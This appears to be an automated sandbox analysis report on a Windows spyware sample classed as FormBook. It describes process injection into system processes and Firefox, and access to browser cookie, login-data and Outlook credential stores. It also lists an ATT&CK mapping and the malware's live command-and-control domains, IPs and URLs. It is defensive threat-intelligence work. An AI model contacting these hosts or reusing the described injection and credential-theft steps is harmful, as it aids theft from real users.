Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\w64HYOhfv1.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\RmClient.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: NULL target: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: NULL target: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\RmClient.exe

Thread register set: target process: 2992

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\RmClient.exe

Thread APC queued: target process: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\w64HYOhfv1.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 25DF008

Source: C:\Users\user\Desktop\w64HYOhfv1.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\w64HYOhfv1.exe"	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	Process created: C:\Windows\SysWOW64\RmClient.exe "C:\Windows\SysWOW64\RmClient.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: ifhdPMDeORMlb.exe, 00000003.00000000.1867459861.0000000000FA0000.00000002.00000001.00040000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000003.00000002.4129917430.0000000000FA0000.00000002.00000001.00040000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000007.00000002.4130177923.0000000001210000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: ifhdPMDeORMlb.exe, 00000003.00000000.1867459861.0000000000FA0000.00000002.00000001.00040000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000003.00000002.4129917430.0000000000FA0000.00000002.00000001.00040000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000007.00000002.4130177923.0000000001210000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: ifhdPMDeORMlb.exe, 00000003.00000000.1867459861.0000000000FA0000.00000002.00000001.00040000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000003.00000002.4129917430.0000000000FA0000.00000002.00000001.00040000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000007.00000002.4130177923.0000000001210000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: ifhdPMDeORMlb.exe, 00000003.00000000.1867459861.0000000000FA0000.00000002.00000001.00040000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000003.00000002.4129917430.0000000000FA0000.00000002.00000001.00040000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000007.00000002.4130177923.0000000001210000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager
Source: w64HYOhfv1.exe	Binary or memory string: JDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 1.2.svchost.exe.2660000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.2660000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1964041630.0000000002ED0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1963743549.0000000002660000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4129418415.0000000000AD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4129085858.0000000000520000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4130342799.0000000000C20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4130314463.0000000002680000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1964459528.0000000003600000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\RmClient.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\RmClient.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 1.2.svchost.exe.2660000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.2660000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1964041630.0000000002ED0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1963743549.0000000002660000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4129418415.0000000000AD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4129085858.0000000000520000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4130342799.0000000000C20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4130314463.0000000002680000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1964459528.0000000003600000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	412 Process Injection	2 Virtualization/Sandbox Evasion	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	412 Process Injection	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Abuse Elevation Control Mechanism	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
w64HYOhfv1.exe	55%	ReversingLabs	Win32.Worm.DorkBot
w64HYOhfv1.exe	100%	Avira	HEUR/AGEN.1321671
w64HYOhfv1.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.polarmuseum.info	199.59.243.227	true	true	unknown
www.uburn.xyz	67.223.117.189	true	true	unknown
o731lh.vip	3.33.130.190	true	true	unknown
newdaydawning.net	44.213.25.70	true	true	unknown
zz82x.top	38.47.232.196	true	true	unknown
tukaari.shop	3.33.130.190	true	true	unknown
40wxd.top	206.119.82.134	true	true	unknown
komart.shop	133.130.35.90	true	true	unknown
www.nakama2-sshl.xyz	183.181.83.131	true	true	unknown
redirect.3dns.box	172.191.244.62	true	true	unknown
healthyloveforall.net	3.33.130.190	true	true	unknown
www.prj81oqde1.buzz	154.212.219.2	true	true	unknown
mommymode.site	162.241.244.106	true	true	unknown
www.tukaari.shop	unknown	unknown	true	unknown
www.zz82x.top	unknown	unknown	true	unknown
www.40wxd.top	unknown	unknown	true	unknown
www.o731lh.vip	unknown	unknown	true	unknown
www.newdaydawning.net	unknown	unknown	true	unknown
www.lurknlarkk.xyz	unknown	unknown	true	unknown
www.healthyloveforall.net	unknown	unknown	true	unknown
www.mommymode.site	unknown	unknown	true	unknown
www.komart.shop	unknown	unknown	true	unknown
www.i16zb920d.cfd	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://www.zz82x.top/ak5l/	true	unknown
http://www.mommymode.site/hya5/?rf-LZ=JlCtuN3HqPO8C&AHkx=kBImd3s/QyLjHyq7crISF49n+tt0DF04aEwkxNbGH3XUM96sRoRP4M1J0fvTDuXIyYiaCoNXLmg3Qmdc8wSzVCSMG3zCGblVdbb3qd6x39FLIiPv6fMrlbs=	true	unknown
http://www.nakama2-sshl.xyz/ui3j/	true	unknown
http://www.healthyloveforall.net/u6k6/	true	unknown
http://www.o731lh.vip/eruc/?AHkx=0pHn1M2gwaL5mql9jSi5Dhpkux55ATuoFGMXu3aa4qZIFhIZTp589V8RrAObS8se+RyZmJdkVQw9waSFdfaJQA9rTbpXDGB78xWioGNWodRvKelboLn2zrA=&rf-LZ=JlCtuN3HqPO8C	true	unknown
http://www.healthyloveforall.net/u6k6/?AHkx=dY5LfBxT8+4OTYgUENZhMVKOyd75/pKzLeRRn9zdsxFld7n68myH2Gd2W2FS03HPt+W/9NATFibZyiY45uryWU5ty+AJNLXNUa+K51k8edVyQTCKjNaYJ5Y=&rf-LZ=JlCtuN3HqPO8C	true	unknown
http://www.polarmuseum.info/nuqv/?AHkx=cqR4daz/40w4b6reEtYQuTL/A0OxFlThnuSAX3LrEIyAZ4914Ww4a7UdeW+JTGwq/HZWal2FK/CEDxgqbNyvw1T8M+Okxh6a/XFlGr4hKR5quINsThV8goc=&rf-LZ=JlCtuN3HqPO8C	true	unknown
http://www.tukaari.shop/b8ih/	true	unknown
http://www.lurknlarkk.xyz/jqkr/?AHkx=j99yFPFWu1ukFCAnSMaPoqYJsGaKTyAIw9CibMKFTP9vYaGLd9Ca8ZMxvCgy8ZIQlD5WNv+rF4xM8fWyLzqu+KoA1mYPwgzWoJCMPt1Uicxvw1jTfpaTUc0=&rf-LZ=JlCtuN3HqPO8C	true	unknown
http://www.prj81oqde1.buzz/6wpo/	true	unknown
http://www.polarmuseum.info/nuqv/	true	unknown
http://www.40wxd.top/l8if/?AHkx=fb3YagVOau/9jH9JrwpuHsbxrllxr9uMjiH+G1UmZCjbhiKuBNxm8T0bbvZrtC77cOtGQaEUv2efn6v6V0IvhyZ1jg35IXHzinqtRNXlFD8GamKybSzcUs8=&rf-LZ=JlCtuN3HqPO8C	true	unknown
http://www.komart.shop/p9u3/	true	unknown
http://www.o731lh.vip/eruc/	true	unknown
http://www.newdaydawning.net/7mju/?rf-LZ=JlCtuN3HqPO8C&AHkx=n/a1XNlERIMSMkzd8Qa3NcaSwh7bqsusoFUi8ENskqLMFqSk/Fj/a6kaQHlAIjdrNEumw+uIAi046Spw4+rc4tgWVH2vgFrx7lu5caWGLmQTjS3LtG8lVAw=	true	unknown
http://www.tukaari.shop/b8ih/?AHkx=Odz4+FoaeIgH5S8C9OYZQc3ouWeZxTDEesAV9dDAx8uax8eIV9nl6gv+Nqhf7GxjMHuq3WRF/H9yecUAbTD83GPUGNWv010JVF29ycwpsNNUnGWJNXrEBFE=&rf-LZ=JlCtuN3HqPO8C	true	unknown
http://www.40wxd.top/l8if/	true	unknown
http://www.mommymode.site/hya5/	true	unknown
http://www.prj81oqde1.buzz/6wpo/?AHkx=s9KIkrkzrqTbzkMmh7Bli3B0wEyBHaCwBa6qLgEcFDzVo4ZyZuXCeDvxdW3wzkiXZ/4dwHLmTrOaI9mNhjMAcV+6tVbS2gqGz3F/PYSng2mbFSIjOzq2Kmk=&rf-LZ=JlCtuN3HqPO8C	true	unknown
http://www.zz82x.top/ak5l/?rf-LZ=JlCtuN3HqPO8C&AHkx=eH+SO6exUc8kNdkvUVCoynUPLpD0oidFnmpLKbW7uuUzt7F+3QY5ZMk8901G8pDK6ZYhQ7vTWV07p9++0dQhJwia7KRoh2N0l2r+oB94KBnVCOyz53vPt1M=	true	unknown
http://www.lurknlarkk.xyz/jqkr/	true	unknown
http://www.uburn.xyz/iqqs/	true	unknown
http://www.nakama2-sshl.xyz/ui3j/?AHkx=Ezegw1wupX22aLPnmkEV6IMUn2bdHQLdsNrfcd+vuVznJDvywH1CwnPb30ViPb7vM8PbtSzEB5D6DwhwIFVA+4/F1XwzKY9WGJMvD1hFh5nZW5ehHhRHPVA=&rf-LZ=JlCtuN3HqPO8C	true	unknown
http://www.komart.shop/p9u3/?AHkx=D1Jc/C1nh+BZL85ZeChw3l4+cioj8fKXqdphFMmfowbAWgC+evwb7cYTziaUWePLaVULTAuSiJlrRgQRJK1Ewp0jkjvaZxrb1x+aTR+tBdOAHUHhfEgGmf4=&rf-LZ=JlCtuN3HqPO8C	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	RmClient.exe, 00000006.00000002.4132961657.000000000788E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	RmClient.exe, 00000006.00000002.4132961657.000000000788E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.polarmuseum.info	ifhdPMDeORMlb.exe, 00000007.00000002.4132186238.0000000005091000.00000040.80000000.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RmClient.exe, 00000006.00000002.4132961657.000000000788E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RmClient.exe, 00000006.00000002.4132961657.000000000788E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	RmClient.exe, 00000006.00000002.4132961657.000000000788E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://newdaydawning.net/7mju/?rf-LZ=JlCtuN3HqPO8C&AHkx=n/a1XNlERIMSMkzd8Qa3NcaSwh7bqsusoFUi8ENskqLM	RmClient.exe, 00000006.00000002.4131092895.0000000003A04000.00000004.10000000.00040000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000007.00000002.4130492087.0000000002FD4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2262378691.000000003C114000.00000004.80000000.00040000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	RmClient.exe, 00000006.00000002.4132961657.000000000788E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	RmClient.exe, 00000006.00000002.4132858063.0000000005E40000.00000004.00000800.00020000.00000000.sdmp, RmClient.exe, 00000006.00000002.4131092895.0000000004E6E000.00000004.10000000.00040000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000007.00000002.4130492087.000000000443E000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://nakama2-sshl.xyz/ui3j/?AHkx=Ezegw1wupX22aLPnmkEV6IMUn2bdHQLdsNrfcd	RmClient.exe, 00000006.00000002.4131092895.00000000041DE000.00000004.10000000.00040000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000007.00000002.4130492087.00000000037AE000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RmClient.exe, 00000006.00000002.4132961657.000000000788E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mommymode.site/hya5/?rf-LZ=JlCtuN3HqPO8C&AHkx=kBImd3s/QyLjHyq7crISF49n	RmClient.exe, 00000006.00000002.4131092895.0000000004CDC000.00000004.10000000.00040000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000007.00000002.4130492087.00000000042AC000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RmClient.exe, 00000006.00000002.4132961657.000000000788E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.191.244.62	redirect.3dns.box	United States	7018	ATT-INTERNET4US	true
67.223.117.189	www.uburn.xyz	United States	15189	VIMRO-AS15189US	true
154.212.219.2	www.prj81oqde1.buzz	Seychelles	133201	COMING-ASABCDEGROUPCOMPANYLIMITEDHK	true
44.213.25.70	newdaydawning.net	United States	14618	AMAZON-AESUS	true
133.130.35.90	komart.shop	Japan	7506	INTERQGMOInternetIncJP	true
38.47.232.196	zz82x.top	United States	174	COGENT-174US	true
199.59.243.227	www.polarmuseum.info	United States	395082	BODIS-NJUS	true
183.181.83.131	www.nakama2-sshl.xyz	Japan	2519	VECTANTARTERIANetworksCorporationJP	true
206.119.82.134	40wxd.top	United States	174	COGENT-174US	true
3.33.130.190	o731lh.vip	United States	8987	AMAZONEXPANSIONGB	true
162.241.244.106	mommymode.site	United States	46606	UNIFIEDLAYER-AS-1US	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1529888
Start date and time:	2024-10-09 14:17:34 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	w64HYOhfv1.exe renamed because original name is a hash value
Original Sample Name:	67910182eeeb3ac668faa832fbadfbe41f239b03da3e05a4ed36ea9a65da3d5c.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@17/11
EGA Information:	Successful, ratio: 80%
HCA Information:	Successful, ratio: 87% Number of executed functions: 35 Number of non-executed functions: 313
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: w64HYOhfv1.exe

Simulations

Behavior and APIs

Time	Type	Description
08:19:30	API Interceptor	10270085x Sleep call for process: RmClient.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.191.244.62	fJD7ivEnzm.exe	Get hash	malicious	FormBook	Browse	www.tekilla.wtf/fpzw/
	jpdy1E8K4A.exe	Get hash	malicious	FormBook	Browse	www.tekilla.wtf/fpzw/
	enkJ6J7dAn.exe	Get hash	malicious	FormBook	Browse	www.lurknlarkk.xyz/jqkr/
	DHL_ 46773482.exe	Get hash	malicious	FormBook	Browse	www.lurknlarkk.xyz/aol7/
	CITA#U00c7#U00c3O.exe	Get hash	malicious	FormBook	Browse	www.tekilla.wtf/fpzw/
	CYTAT.exe	Get hash	malicious	FormBook	Browse	www.tekilla.wtf/fpzw/
	Cotizaci#U00f3n.exe	Get hash	malicious	FormBook	Browse	www.tekilla.wtf/fpzw/
	PO# Q919240.exe	Get hash	malicious	FormBook	Browse	www.tekilla.wtf/fpzw/
	PAGO $830.900.exe	Get hash	malicious	FormBook	Browse	www.tekilla.wtf/fpzw/
	EGCS-875-S5-SMO M2A.exe	Get hash	malicious	FormBook	Browse	www.lurknlarkk.xyz/cjjz/
67.223.117.189	enkJ6J7dAn.exe	Get hash	malicious	FormBook	Browse	www.uburn.xyz/iqqs/
	PO-78140924.BAT.PDF.exe	Get hash	malicious	FormBook	Browse	www.heldhold.xyz/fava/
	rP0n___87004354.exe	Get hash	malicious	FormBook	Browse	www.heldhold.xyz/fava/
	Enquiry.exe	Get hash	malicious	FormBook	Browse	www.uburn.xyz/iqqs/
	AWB_5771388044 Documenti di spedizione.exe	Get hash	malicious	FormBook	Browse	www.uburn.xyz/unks/
	ncOLm62YLB.exe	Get hash	malicious	FormBook	Browse	www.uburn.xyz/unks/
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	www.heldhold.xyz/fava/
	LisectAVT_2403002B_466.exe	Get hash	malicious	FormBook	Browse	www.techstone.top/d5fo/
	Shipping Documents 7896424100.exe	Get hash	malicious	FormBook	Browse	www.nodedev.top/wnsq/
	ORDEN_240715189833.IMG	Get hash	malicious	DarkTortilla, FormBook	Browse	www.akissdove.xyz/8ntn/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.polarmuseum.info	sa7Bw41TUq.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	enkJ6J7dAn.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	payment copy.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
www.uburn.xyz	enkJ6J7dAn.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	Enquiry.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	AWB_5771388044 Documenti di spedizione.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	ncOLm62YLB.exe	Get hash	malicious	FormBook	Browse	67.223.117.189

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ATT-INTERNET4US	na.elf	Get hash	malicious	Unknown	Browse	32.124.58.209
